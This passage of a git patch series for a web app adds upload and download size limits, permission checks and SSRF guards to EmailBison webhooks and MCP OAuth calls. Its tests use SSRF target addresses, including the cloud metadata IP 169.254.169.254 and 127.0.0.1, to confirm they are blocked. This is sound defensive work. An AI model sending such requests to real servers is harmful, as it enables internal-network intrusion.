+} + +describe('workspace files upload route', () => { + beforeEach(() => { + vi.clearAllMocks() + authMockFns.mockGetSession.mockResolvedValue({ user: { id: 'user-1' } }) + permissionsMockFns.mockGetUserEntityPermissions.mockResolvedValue('write') + mockGetSharesForResources.mockResolvedValue(new Map()) + mockUploadWorkspaceFile.mockResolvedValue({ + id: 'file-1', + name: 'file.txt', + url: 'https://example.com/file.txt', + size: 11, + type: 'text/plain', + }) + }) + + it('rejects a declared content-length above the limit before reading the body', async () => { + const formData = buildFormData(new File(['x'.repeat(10)], 'file.txt', { type: 'text/plain' })) + const req = new NextRequest(`http://localhost:3000/api/workspaces/${WS}/files`, { + method: 'POST', + headers: { 'content-length': String(10 * 1024 * 1024) }, + body: formData, + }) + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(413) + expect(data.error).toContain('exceeds maximum size') + expect(mockUploadWorkspaceFile).not.toHaveBeenCalled() + }) + + it('rejects a chunked body without content-length once the streamed size trips the cap', async () => { + const body = makeChunkedOverLimitBody(64 * 1024, 32) + const req = new NextRequest(`http://localhost:3000/api/workspaces/${WS}/files`, { + method: 'POST', + body, + // @ts-expect-error - duplex is required by undici for streamed bodies but missing from NextRequestInit types + duplex: 'half', + }) + expect(req.headers.get('content-length')).toBeNull() + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(413) + expect(data.error).toContain('exceeds maximum size') + expect(mockUploadWorkspaceFile).not.toHaveBeenCalled() + }) + + it('uploads a normal, well-under-limit file successfully', async () => { + const file = new File(['hello world'], 'file.txt', { type: 'text/plain' }) + const formData = buildFormData(file) + const req = new NextRequest(`http://localhost:3000/api/workspaces/${WS}/files`, { + method: 'POST', + headers: { 'content-length': '512' }, + body: formData, + }) + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(200) + expect(data.success).toBe(true) + expect(mockUploadWorkspaceFile).toHaveBeenCalledTimes(1) + }) +}) diff --git a/apps/sim/app/api/workspaces/[id]/files/route.ts b/apps/sim/app/api/workspaces/[id]/files/route.ts index b13a8d08b6f..6f20d15a213 100644 --- a/apps/sim/app/api/workspaces/[id]/files/route.ts +++ b/apps/sim/app/api/workspaces/[id]/files/route.ts @@ -9,6 +9,11 @@ import { import { getValidationErrorMessage } from '@/lib/api/server' import { getSession } from '@/lib/auth' import { generateRequestId } from '@/lib/core/utils/request' +import { + isPayloadSizeLimitError, + MAX_MULTIPART_OVERHEAD_BYTES, + readFormDataWithLimit, +} from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' import { captureServerEvent } from '@/lib/posthog/server' import { getSharesForResources } from '@/lib/public-shares/share-manager' @@ -132,7 +137,21 @@ export const POST = withRouteHandler( return NextResponse.json({ error: 'Insufficient permissions' }, { status: 403 }) } - const formData = await request.formData() + let formData: FormData + try { + formData = await readFormDataWithLimit(request, { + maxBytes: MAX_WORKSPACE_FORMDATA_FILE_SIZE + MAX_MULTIPART_OVERHEAD_BYTES, + label: 'workspace file upload body', + }) + } catch (error) { + if (isPayloadSizeLimitError(error)) { + return NextResponse.json({ error: error.message }, { status: 413 }) + } + return NextResponse.json( + { error: 'Request body must be valid multipart form data' }, + { status: 400 } + ) + } const rawFile = formData.get('file') const rawFolderId = formData.get('folderId') const folderId = diff --git a/apps/sim/lib/core/utils/stream-limits.ts b/apps/sim/lib/core/utils/stream-limits.ts index d48fbb7083a..24d5182a9a8 100644 --- a/apps/sim/lib/core/utils/stream-limits.ts +++ b/apps/sim/lib/core/utils/stream-limits.ts @@ -2,6 +2,13 @@ import { toError } from '@sim/utils/errors' export const DEFAULT_MAX_ERROR_BODY_BYTES = 64 * 1024 +/** + * Slack for multipart boundary/header overhead on top of the intended file + * size limit, so legitimate uploads near the limit aren't rejected purely + * for encoding overhead. + */ +export const MAX_MULTIPART_OVERHEAD_BYTES = 1024 * 1024 + export interface PayloadSizeLimitContext { label: string maxBytes: number From a1fbb5743da5b4f173e63a0f5284b8118b8ac08c Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:36:55 -0700 Subject: [PATCH 08/16] fix(stt): bound audio download response size (#5412) * fix(stt): bound audio download response size Cap the audioUrl download in the STT proxy route at the platform's standard 100MB file-size ceiling, matching the pattern already used by sharepoint/download-file and other external download routes. Classify size-limit rejections as a clean 413 instead of an unhandled 500. * fix(stt): avoid double isPayloadSizeLimitError call in error handling --- apps/sim/app/api/tools/stt/route.test.ts | 115 +++++++++++++++++++++++ apps/sim/app/api/tools/stt/route.ts | 10 +- 2 files changed, 123 insertions(+), 2 deletions(-) create mode 100644 apps/sim/app/api/tools/stt/route.test.ts diff --git a/apps/sim/app/api/tools/stt/route.test.ts b/apps/sim/app/api/tools/stt/route.test.ts new file mode 100644 index 00000000000..3413350e8e5 --- /dev/null +++ b/apps/sim/app/api/tools/stt/route.test.ts @@ -0,0 +1,115 @@ +/** + * @vitest-environment node + */ +import { + createMockRequest, + hybridAuthMockFns, + inputValidationMock, + inputValidationMockFns, +} from '@sim/testing' +import { beforeEach, describe, expect, it, vi } from 'vitest' +import { PayloadSizeLimitError } from '@/lib/core/utils/stream-limits' + +const { mockIsInternalFileUrl, mockDownloadFileFromStorage, mockResolveInternalFileUrl } = + vi.hoisted(() => ({ + mockIsInternalFileUrl: vi.fn(), + mockDownloadFileFromStorage: vi.fn(), + mockResolveInternalFileUrl: vi.fn(), + })) + +vi.mock('@/lib/core/security/input-validation.server', () => inputValidationMock) +vi.mock('@/lib/uploads/utils/file-utils', () => ({ + isInternalFileUrl: mockIsInternalFileUrl, + getMimeTypeFromExtension: vi.fn(() => 'application/octet-stream'), +})) +vi.mock('@/lib/uploads/utils/file-utils.server', () => ({ + downloadFileFromStorage: mockDownloadFileFromStorage, + resolveInternalFileUrl: mockResolveInternalFileUrl, +})) +vi.mock('@/app/api/files/authorization', () => ({ + assertToolFileAccess: vi.fn().mockResolvedValue(null), +})) +vi.mock('@/lib/audio/extractor', () => ({ + isVideoFile: vi.fn(() => false), + extractAudioFromVideo: vi.fn(), +})) + +import { POST } from '@/app/api/tools/stt/route' + +const PINNED_IP = '93.184.216.34' + +const baseBody = { + provider: 'whisper', + apiKey: 'test-api-key', + audioUrl: 'https://example.com/audio.mp3', +} + +function mockSecureFetchResponse(body: { ok?: boolean; contentType?: string }) { + return { + ok: body.ok ?? true, + status: 200, + statusText: '', + headers: new Headers({ 'content-type': body.contentType ?? 'audio/mpeg' }), + body: null, + text: async () => '', + json: async () => ({}), + arrayBuffer: async () => new ArrayBuffer(8), + } +} + +describe('POST /api/tools/stt', () => { + beforeEach(() => { + vi.clearAllMocks() + hybridAuthMockFns.mockCheckInternalAuth.mockResolvedValue({ + success: true, + userId: 'user-1', + authType: 'internal_jwt', + }) + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: PINNED_IP, + originalHostname: 'example.com', + }) + mockIsInternalFileUrl.mockReturnValue(false) + + vi.stubGlobal( + 'fetch', + vi.fn().mockResolvedValue({ + ok: true, + json: async () => ({ text: 'hello world', language: 'en', duration: 1.2 }), + }) + ) + }) + + it('bounds the audioUrl download and rejects oversized responses cleanly', async () => { + inputValidationMockFns.mockSecureFetchWithPinnedIP.mockRejectedValueOnce( + new PayloadSizeLimitError({ + label: 'response body', + maxBytes: 100 * 1024 * 1024, + observedBytes: 200 * 1024 * 1024, + }) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + + expect(response.status).toBe(413) + const data = (await response.json()) as { error: string } + expect(data.error).toMatch(/exceeds the maximum supported size/i) + + const call = inputValidationMockFns.mockSecureFetchWithPinnedIP.mock.calls[0] + expect(call[1]).toBe(PINNED_IP) + expect(call[2]).toMatchObject({ maxResponseBytes: 100 * 1024 * 1024 }) + }) + + it('transcribes a normal, well-under-cap audio download successfully', async () => { + inputValidationMockFns.mockSecureFetchWithPinnedIP.mockResolvedValueOnce( + mockSecureFetchResponse({}) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + + expect(response.status).toBe(200) + const data = (await response.json()) as { transcript: string } + expect(data.transcript).toBe('hello world') + }) +}) diff --git a/apps/sim/app/api/tools/stt/route.ts b/apps/sim/app/api/tools/stt/route.ts index fd9a6dc12d7..e245d498a91 100644 --- a/apps/sim/app/api/tools/stt/route.ts +++ b/apps/sim/app/api/tools/stt/route.ts @@ -12,12 +12,14 @@ import { secureFetchWithPinnedIP, validateUrlWithDNS, } from '@/lib/core/security/input-validation.server' +import { isPayloadSizeLimitError } from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' import { getMimeTypeFromExtension, isInternalFileUrl } from '@/lib/uploads/utils/file-utils' import { downloadFileFromStorage, resolveInternalFileUrl, } from '@/lib/uploads/utils/file-utils.server' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' import { assertToolFileAccess } from '@/app/api/files/authorization' import type { TranscriptSegment } from '@/tools/stt/types' @@ -150,6 +152,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { const response = await secureFetchWithPinnedIP(audioUrl, urlValidation.resolvedIP!, { method: 'GET', + maxResponseBytes: MAX_FILE_SIZE, }) if (!response.ok) { await response.text().catch(() => {}) @@ -297,8 +300,11 @@ export const POST = withRouteHandler(async (request: NextRequest) => { return NextResponse.json(response) } catch (error) { logger.error(`[${requestId}] STT proxy error:`, error) - const errorMessage = getErrorMessage(error, 'Unknown error') - return NextResponse.json({ error: errorMessage }, { status: 500 }) + const isSizeLimit = isPayloadSizeLimitError(error) + const errorMessage = isSizeLimit + ? 'Audio file exceeds the maximum supported size' + : getErrorMessage(error, 'Unknown error') + return NextResponse.json({ error: errorMessage }, { status: isSizeLimit ? 413 : 500 }) } }) From 41fb86355d7006c2e383f6727027eee2583785d2 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:37:09 -0700 Subject: [PATCH 09/16] fix(webhooks): validate and pin EmailBison apiBaseUrl before outbound requests (#5415) * fix(webhooks): validate and pin EmailBison apiBaseUrl before outbound requests Route Email Bison webhook create/delete requests through the shared DNS-validated, IP-pinned fetch used by the Teams and Slack webhook providers instead of a raw fetch to the user-configured instance URL. * fix(webhooks): restore NEXT_PUBLIC_APP_URL in emailbison tests, dedupe strict-delete warning log Test env var mutation was never restored, risking cross-file leakage in single-threaded vitest runs. Strict-mode deleteSubscription failures were logged twice (once at the throw site with context, once generically by the outer catch); the outer catch now skips its own log for errors already logged at the throw site. --- .../lib/webhooks/providers/emailbison.test.ts | 179 ++++++++++++++++++ apps/sim/lib/webhooks/providers/emailbison.ts | 63 ++++-- 2 files changed, 229 insertions(+), 13 deletions(-) create mode 100644 apps/sim/lib/webhooks/providers/emailbison.test.ts diff --git a/apps/sim/lib/webhooks/providers/emailbison.test.ts b/apps/sim/lib/webhooks/providers/emailbison.test.ts new file mode 100644 index 00000000000..2cd3a14120f --- /dev/null +++ b/apps/sim/lib/webhooks/providers/emailbison.test.ts @@ -0,0 +1,179 @@ +/** + * @vitest-environment node + */ +import { inputValidationMock, inputValidationMockFns } from '@sim/testing' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('@/lib/core/security/input-validation.server', () => inputValidationMock) + +import { emailBisonHandler } from '@/lib/webhooks/providers/emailbison' + +const WEBHOOK_ID = 'webhook-uuid-1234' +const PUBLIC_BASE_URL = 'https://my-instance.emailbison.com' + +function makeWebhook(providerConfig: Record) { + return { + id: WEBHOOK_ID, + path: 'abc', + providerConfig, + } as unknown as Parameters[0]['webhook'] +} + +function jsonSecureResponse(status: number, body: Record) { + return { + ok: status >= 200 && status < 300, + status, + statusText: '', + headers: { get: () => null }, + body: { cancel: vi.fn() }, + json: vi.fn().mockResolvedValue(body), + text: vi.fn().mockResolvedValue(JSON.stringify(body)), + arrayBuffer: vi.fn(), + } +} + +describe('emailBisonHandler createSubscription', () => { + beforeEach(() => { + vi.clearAllMocks() + process.env.NEXT_PUBLIC_APP_URL = 'https://app.example.com' + }) + + afterEach(() => { + process.env.NEXT_PUBLIC_APP_URL = undefined + }) + + it('rejects an apiBaseUrl that resolves to a blocked address before making a request', async () => { + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: false, + error: 'URL resolves to a blocked address', + }) + + const webhook = makeWebhook({ + apiKey: 'test-key', + apiBaseUrl: 'https://169.254.169.254', + triggerId: 'emailbison_email_sent', + }) + + await expect( + emailBisonHandler.createSubscription({ + webhook, + workflow: {} as never, + userId: 'user-1', + requestId: 'req-1', + } as never) + ).rejects.toThrow('Email Bison Instance URL could not be validated.') + + expect(inputValidationMockFns.mockSecureFetchWithPinnedIP).not.toHaveBeenCalled() + }) + + it('creates the webhook subscription for a valid public instance URL', async () => { + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: '203.0.113.10', + }) + inputValidationMockFns.mockSecureFetchWithPinnedIP.mockResolvedValue( + jsonSecureResponse(200, { data: { id: 42 } }) + ) + + const webhook = makeWebhook({ + apiKey: 'test-key', + apiBaseUrl: PUBLIC_BASE_URL, + triggerId: 'emailbison_email_sent', + }) + + const result = await emailBisonHandler.createSubscription({ + webhook, + workflow: {} as never, + userId: 'user-1', + requestId: 'req-1', + } as never) + + expect(result).toEqual({ providerConfigUpdates: { externalId: '42' } }) + expect(inputValidationMockFns.mockSecureFetchWithPinnedIP).toHaveBeenCalledWith( + expect.stringContaining(PUBLIC_BASE_URL), + '203.0.113.10', + expect.objectContaining({ method: 'POST' }) + ) + }) +}) + +describe('emailBisonHandler deleteSubscription', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('rejects an apiBaseUrl that resolves to a blocked address before making a request', async () => { + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: false, + error: 'URL resolves to a blocked address', + }) + + const webhook = makeWebhook({ + apiKey: 'test-key', + apiBaseUrl: 'https://127.0.0.1', + externalId: '42', + }) + + await emailBisonHandler.deleteSubscription({ + webhook, + workflow: {} as never, + requestId: 'req-1', + strict: false, + } as never) + + expect(inputValidationMockFns.mockSecureFetchWithPinnedIP).not.toHaveBeenCalled() + }) + + it('throws when strict and the apiBaseUrl resolves to a blocked address', async () => { + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: false, + error: 'URL resolves to a blocked address', + }) + + const webhook = makeWebhook({ + apiKey: 'test-key', + apiBaseUrl: 'https://127.0.0.1', + externalId: '42', + }) + + await expect( + emailBisonHandler.deleteSubscription({ + webhook, + workflow: {} as never, + requestId: 'req-1', + strict: true, + } as never) + ).rejects.toThrow('Email Bison Instance URL could not be validated.') + + expect(inputValidationMockFns.mockSecureFetchWithPinnedIP).not.toHaveBeenCalled() + }) + + it('deletes the webhook subscription for a valid public instance URL', async () => { + inputValidationMockFns.mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: '203.0.113.10', + }) + inputValidationMockFns.mockSecureFetchWithPinnedIP.mockResolvedValue( + jsonSecureResponse(200, {}) + ) + + const webhook = makeWebhook({ + apiKey: 'test-key', + apiBaseUrl: PUBLIC_BASE_URL, + externalId: '42', + }) + + await emailBisonHandler.deleteSubscription({ + webhook, + workflow: {} as never, + requestId: 'req-1', + strict: false, + } as never) + + expect(inputValidationMockFns.mockSecureFetchWithPinnedIP).toHaveBeenCalledWith( + expect.stringContaining(PUBLIC_BASE_URL), + '203.0.113.10', + expect.objectContaining({ method: 'DELETE' }) + ) + }) +}) diff --git a/apps/sim/lib/webhooks/providers/emailbison.ts b/apps/sim/lib/webhooks/providers/emailbison.ts index d477b11560a..838d042a1a5 100644 --- a/apps/sim/lib/webhooks/providers/emailbison.ts +++ b/apps/sim/lib/webhooks/providers/emailbison.ts @@ -1,6 +1,11 @@ import { createLogger } from '@sim/logger' import { toError } from '@sim/utils/errors' import { isRecordLike } from '@sim/utils/object' +import { + type SecureFetchResponse, + secureFetchWithPinnedIP, + validateUrlWithDNS, +} from '@/lib/core/security/input-validation.server' import { getNotificationUrl, getProviderConfig } from '@/lib/webhooks/provider-subscription-utils' import type { DeleteSubscriptionContext, @@ -147,7 +152,14 @@ export const emailBisonHandler: WebhookProviderHandler = { webhookId: webhook.id, }) - const response = await fetch(emailBisonUrl('/api/webhook-url', {}, apiBaseUrl), { + const targetUrl = emailBisonUrl('/api/webhook-url', {}, apiBaseUrl) + const urlValidation = await validateUrlWithDNS(targetUrl, 'apiBaseUrl') + if (!urlValidation.isValid) { + logger.warn(`[${requestId}] Invalid Email Bison Instance URL: ${urlValidation.error}`) + throw new Error('Email Bison Instance URL could not be validated.') + } + + const response = await secureFetchWithPinnedIP(targetUrl, urlValidation.resolvedIP!, { method: 'POST', headers: emailBisonHeaders({ apiKey, apiBaseUrl }), body: JSON.stringify({ @@ -207,17 +219,30 @@ export const emailBisonHandler: WebhookProviderHandler = { hasApiBaseUrl: Boolean(apiBaseUrl), hasExternalId: Boolean(externalId), }) - if (ctx.strict) throw new Error('Missing Email Bison webhook cleanup configuration') + if (ctx.strict) + throw new AlreadyLoggedError('Missing Email Bison webhook cleanup configuration') return } - const response = await fetch( - emailBisonUrl(`/api/webhook-url/${encodeURIComponent(externalId)}`, {}, apiBaseUrl), - { - method: 'DELETE', - headers: emailBisonHeaders({ apiKey, apiBaseUrl }), - } + const targetUrl = emailBisonUrl( + `/api/webhook-url/${encodeURIComponent(externalId)}`, + {}, + apiBaseUrl ) + const urlValidation = await validateUrlWithDNS(targetUrl, 'apiBaseUrl') + if (!urlValidation.isValid) { + logger.warn(`[${requestId}] Invalid Email Bison Instance URL: ${urlValidation.error}`, { + webhookId: webhook.id, + }) + if (ctx.strict) + throw new AlreadyLoggedError('Email Bison Instance URL could not be validated.') + return + } + + const response = await secureFetchWithPinnedIP(targetUrl, urlValidation.resolvedIP!, { + method: 'DELETE', + headers: emailBisonHeaders({ apiKey, apiBaseUrl }), + }) if (!response.ok && response.status !== 404) { const responseBody = await parseJsonResponse(response) @@ -225,7 +250,8 @@ export const emailBisonHandler: WebhookProviderHandler = { status: response.status, response: responseBody, }) - if (ctx.strict) throw new Error(`Failed to delete Email Bison webhook: ${response.status}`) + if (ctx.strict) + throw new AlreadyLoggedError(`Failed to delete Email Bison webhook: ${response.status}`) return } @@ -235,15 +261,26 @@ export const emailBisonHandler: WebhookProviderHandler = { webhookId: webhook.id, }) } catch (error) { - logger.warn(`[${requestId}] Error deleting Email Bison webhook`, { - message: toError(error).message, - }) + if (!(error instanceof AlreadyLoggedError)) { + logger.warn(`[${requestId}] Error deleting Email Bison webhook`, { + message: toError(error).message, + }) + } if (ctx.strict) throw error } }, } -async function parseJsonResponse(response: Response): Promise | null> { +/** + * Marks an error whose failure reason has already been logged with full context + * at the throw site, so the outer catch in `deleteSubscription` does not emit + * a second, redundant warning for the same failure. + */ +class AlreadyLoggedError extends Error {} + +async function parseJsonResponse( + response: SecureFetchResponse +): Promise | null> { try { const body: unknown = await response.json() return isRecordLike(body) ? body : null From 0d6994d3cc5bb63ff56783f08cee6867216e8f39 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:40:30 -0700 Subject: [PATCH 10/16] refactor(uploads): hoist execution permission check out of upload loop, dedupe permission-gate tests (#5420) /simplify pass on PR #5404: resolve the execution-context workspace permission check once per request instead of once per uploaded file, and collapse repeated request-construction boilerplate in the new permission-gate tests into a shared helper. --- apps/sim/app/api/files/upload/route.test.ts | 68 ++++++--------------- apps/sim/app/api/files/upload/route.ts | 45 ++++++++------ 2 files changed, 43 insertions(+), 70 deletions(-) diff --git a/apps/sim/app/api/files/upload/route.test.ts b/apps/sim/app/api/files/upload/route.test.ts index bbc42c5e743..f6df57eb59d 100644 --- a/apps/sim/app/api/files/upload/route.test.ts +++ b/apps/sim/app/api/files/upload/route.test.ts @@ -562,16 +562,9 @@ describe('File Upload Security Tests', () => { return formData } - beforeEach(() => { - setupFileApiMocks({ - cloudEnabled: false, - storageProvider: 'local', - }) - }) - - it('rejects execution uploads without workspaceId', async () => { + const postExecutionUpload = async (workspaceId: string | null = 'test-workspace-id') => { const file = new File(['test content'], 'test.pdf', { type: 'application/pdf' }) - const formData = createExecutionFormData(file, null) + const formData = createExecutionFormData(file, workspaceId) const req = new Request('http://localhost/api/files/upload', { method: 'POST', @@ -579,7 +572,18 @@ describe('File Upload Security Tests', () => { body: formData, }) - const response = await POST(req as unknown as NextRequest) + return POST(req as unknown as NextRequest) + } + + beforeEach(() => { + setupFileApiMocks({ + cloudEnabled: false, + storageProvider: 'local', + }) + }) + + it('rejects execution uploads without workspaceId', async () => { + const response = await postExecutionUpload(null) expect(response.status).toBe(400) const data = await response.json() @@ -590,16 +594,7 @@ describe('File Upload Security Tests', () => { it('rejects execution uploads for a read-only workspace member', async () => { permissionsMockFns.mockGetUserEntityPermissions.mockResolvedValue('read') - const file = new File(['test content'], 'test.pdf', { type: 'application/pdf' }) - const formData = createExecutionFormData(file) - - const req = new Request('http://localhost/api/files/upload', { - method: 'POST', - headers: { 'content-length': '1024' }, - body: formData, - }) - - const response = await POST(req as unknown as NextRequest) + const response = await postExecutionUpload() expect(response.status).toBe(403) const data = await response.json() @@ -610,16 +605,7 @@ describe('File Upload Security Tests', () => { it('rejects execution uploads for a member with no workspace permission', async () => { permissionsMockFns.mockGetUserEntityPermissions.mockResolvedValue(null) - const file = new File(['test content'], 'test.pdf', { type: 'application/pdf' }) - const formData = createExecutionFormData(file) - - const req = new Request('http://localhost/api/files/upload', { - method: 'POST', - headers: { 'content-length': '1024' }, - body: formData, - }) - - const response = await POST(req as unknown as NextRequest) + const response = await postExecutionUpload() expect(response.status).toBe(403) expect(mocks.mockUploadExecutionFile).not.toHaveBeenCalled() @@ -628,16 +614,7 @@ describe('File Upload Security Tests', () => { it('allows execution uploads for a write-permission workspace member', async () => { permissionsMockFns.mockGetUserEntityPermissions.mockResolvedValue('write') - const file = new File(['test content'], 'test.pdf', { type: 'application/pdf' }) - const formData = createExecutionFormData(file) - - const req = new Request('http://localhost/api/files/upload', { - method: 'POST', - headers: { 'content-length': '1024' }, - body: formData, - }) - - const response = await POST(req as unknown as NextRequest) + const response = await postExecutionUpload() expect(response.status).toBe(200) expect(mocks.mockUploadExecutionFile).toHaveBeenCalledWith( @@ -656,16 +633,7 @@ describe('File Upload Security Tests', () => { it('allows execution uploads for an admin-permission workspace member', async () => { permissionsMockFns.mockGetUserEntityPermissions.mockResolvedValue('admin') - const file = new File(['test content'], 'test.pdf', { type: 'application/pdf' }) - const formData = createExecutionFormData(file) - - const req = new Request('http://localhost/api/files/upload', { - method: 'POST', - headers: { 'content-length': '1024' }, - body: formData, - }) - - const response = await POST(req as unknown as NextRequest) + const response = await postExecutionUpload() expect(response.status).toBe(200) expect(mocks.mockUploadExecutionFile).toHaveBeenCalled() diff --git a/apps/sim/app/api/files/upload/route.ts b/apps/sim/app/api/files/upload/route.ts index c6c65f03407..64914af8970 100644 --- a/apps/sim/app/api/files/upload/route.ts +++ b/apps/sim/app/api/files/upload/route.ts @@ -92,6 +92,29 @@ export const POST = withRouteHandler(async (request: NextRequest) => { const usingCloudStorage = storageService.hasCloudStorage() logger.info(`Using storage mode: ${usingCloudStorage ? 'Cloud' : 'Local'} for file upload`) + // Execution context requires a workspace write/admin permission check. Resolve it once per + // request (not per file) since workspaceId is invariant across all files in the upload. + let executionUploadContext: + | { workspaceId: string; workflowId: string; executionId: string } + | undefined + if (context === 'execution') { + if (!workflowId || !executionId || !workspaceId) { + throw new InvalidRequestError( + 'Execution context requires workflowId, executionId, and workspaceId parameters' + ) + } + + const permission = await getUserEntityPermissions(session.user.id, 'workspace', workspaceId) + if (permission !== 'write' && permission !== 'admin') { + return NextResponse.json( + { error: 'Write or Admin access required for execution uploads' }, + { status: 403 } + ) + } + + executionUploadContext = { workspaceId, workflowId, executionId } + } + const uploadResults = [] for (const file of files) { @@ -110,28 +133,10 @@ export const POST = withRouteHandler(async (request: NextRequest) => { }) // Handle execution context - if (context === 'execution') { - if (!workflowId || !executionId || !workspaceId) { - throw new InvalidRequestError( - 'Execution context requires workflowId, executionId, and workspaceId parameters' - ) - } - - const permission = await getUserEntityPermissions(session.user.id, 'workspace', workspaceId) - if (permission !== 'write' && permission !== 'admin') { - return NextResponse.json( - { error: 'Write or Admin access required for execution uploads' }, - { status: 403 } - ) - } - + if (context === 'execution' && executionUploadContext) { const { uploadExecutionFile } = await import('@/lib/uploads/contexts/execution') const userFile = await uploadExecutionFile( - { - workspaceId, - workflowId, - executionId, - }, + executionUploadContext, buffer, originalName, file.type, From 4b133984c63ecdc93555c9f6d4014c28f6f61dd1 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:40:38 -0700 Subject: [PATCH 11/16] fix(mcp): make SSRF-guarded fetch structurally mandatory in OAuth auth() calls (#5419) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #5399 fixed the callback route forgetting to pass fetchFn into the SDK's auth(), but every call site (start + callback routes) still imported the raw SDK auth() directly and had to remember to pass fetchFn: createSsrfGuardedMcpFetch() by hand — the same omission was possible again at any future call site. Add mcpAuthGuarded() in lib/mcp/oauth/auth.ts, a thin wrapper around the SDK's auth() that always defaults fetchFn to the SSRF-guarded fetch (still overridable for tests). Both routes now import mcpAuthGuarded from @/lib/mcp/oauth instead of the raw SDK auth, so omitting the guard is no longer possible by omission. --- .../app/api/mcp/oauth/callback/route.test.ts | 28 ++++------ apps/sim/app/api/mcp/oauth/callback/route.ts | 8 ++- .../sim/app/api/mcp/oauth/start/route.test.ts | 29 ++++------ apps/sim/app/api/mcp/oauth/start/route.ts | 6 +-- apps/sim/lib/mcp/oauth/auth.test.ts | 54 +++++++++++++++++++ apps/sim/lib/mcp/oauth/auth.ts | 19 +++++++ apps/sim/lib/mcp/oauth/index.ts | 1 + packages/testing/src/mocks/mcp-oauth.mock.ts | 2 + 8 files changed, 100 insertions(+), 47 deletions(-) create mode 100644 apps/sim/lib/mcp/oauth/auth.test.ts create mode 100644 apps/sim/lib/mcp/oauth/auth.ts diff --git a/apps/sim/app/api/mcp/oauth/callback/route.test.ts b/apps/sim/app/api/mcp/oauth/callback/route.test.ts index d79c43e4a76..1a1f5bcb8e8 100644 --- a/apps/sim/app/api/mcp/oauth/callback/route.test.ts +++ b/apps/sim/app/api/mcp/oauth/callback/route.test.ts @@ -13,13 +13,9 @@ import { import { NextRequest } from 'next/server' import { beforeEach, describe, expect, it, vi } from 'vitest' -const { mockMcpAuth, mockCreateSsrfGuardedMcpFetch, mockGuardedFetch, mockDiscoverServerTools } = - vi.hoisted(() => ({ - mockMcpAuth: vi.fn(), - mockCreateSsrfGuardedMcpFetch: vi.fn(), - mockGuardedFetch: vi.fn(), - mockDiscoverServerTools: vi.fn(), - })) +const { mockDiscoverServerTools } = vi.hoisted(() => ({ + mockDiscoverServerTools: vi.fn(), +})) vi.mock('@sim/db', () => dbChainMock) vi.mock('@sim/db/schema', () => schemaMock) @@ -28,13 +24,7 @@ vi.mock('drizzle-orm', () => ({ eq: vi.fn(), isNull: vi.fn(), })) -vi.mock('@modelcontextprotocol/sdk/client/auth.js', () => ({ - auth: mockMcpAuth, -})) vi.mock('@/lib/mcp/oauth', () => mcpOauthMock) -vi.mock('@/lib/mcp/pinned-fetch', () => ({ - createSsrfGuardedMcpFetch: mockCreateSsrfGuardedMcpFetch, -})) vi.mock('@/lib/mcp/service', () => ({ mcpService: { discoverServerTools: mockDiscoverServerTools }, })) @@ -45,7 +35,6 @@ describe('MCP OAuth callback route', () => { beforeEach(() => { vi.clearAllMocks() resetDbChainMock() - mockCreateSsrfGuardedMcpFetch.mockReturnValue(mockGuardedFetch) authMockFns.mockGetSession.mockResolvedValue({ user: { id: 'user-1' } }) mcpOauthMockFns.mockLoadOauthRowByState.mockResolvedValue({ id: 'oauth-row-1', @@ -61,24 +50,25 @@ describe('MCP OAuth callback route', () => { }, ]) mcpOauthMockFns.mockLoadPreregisteredClient.mockResolvedValue(undefined) - mockMcpAuth.mockResolvedValue('AUTHORIZED') + mcpOauthMockFns.mockMcpAuthGuarded.mockResolvedValue('AUTHORIZED') mockDiscoverServerTools.mockResolvedValue(undefined) }) - it('performs the token exchange through the SSRF-guarded fetch', async () => { + it('performs the token exchange through the SSRF-guarded mcpAuthGuarded wrapper', async () => { const request = new NextRequest( 'http://localhost:3000/api/mcp/oauth/callback?state=state-1&code=auth-code-1' ) await GET(request) - expect(mockCreateSsrfGuardedMcpFetch).toHaveBeenCalledTimes(1) - expect(mockMcpAuth).toHaveBeenCalledWith( + // The route must call the guarded wrapper (which defaults fetchFn to the + // SSRF-guarded fetch internally) rather than the raw SDK `auth()` — see + // apps/sim/lib/mcp/oauth/auth.test.ts for the wrapper's own fetchFn coverage. + expect(mcpOauthMockFns.mockMcpAuthGuarded).toHaveBeenCalledWith( expect.anything(), expect.objectContaining({ serverUrl: 'https://mcp.example.com/mcp', authorizationCode: 'auth-code-1', - fetchFn: mockGuardedFetch, }) ) }) diff --git a/apps/sim/app/api/mcp/oauth/callback/route.ts b/apps/sim/app/api/mcp/oauth/callback/route.ts index 0acfff85778..5c75416a3bc 100644 --- a/apps/sim/app/api/mcp/oauth/callback/route.ts +++ b/apps/sim/app/api/mcp/oauth/callback/route.ts @@ -1,4 +1,3 @@ -import { auth as mcpAuth } from '@modelcontextprotocol/sdk/client/auth.js' import { db } from '@sim/db' import { mcpServers } from '@sim/db/schema' import { createLogger } from '@sim/logger' @@ -17,9 +16,9 @@ import { loadOauthRowByState, loadPreregisteredClient, type McpOauthCallbackReason, + mcpAuthGuarded, SimMcpOauthProvider, } from 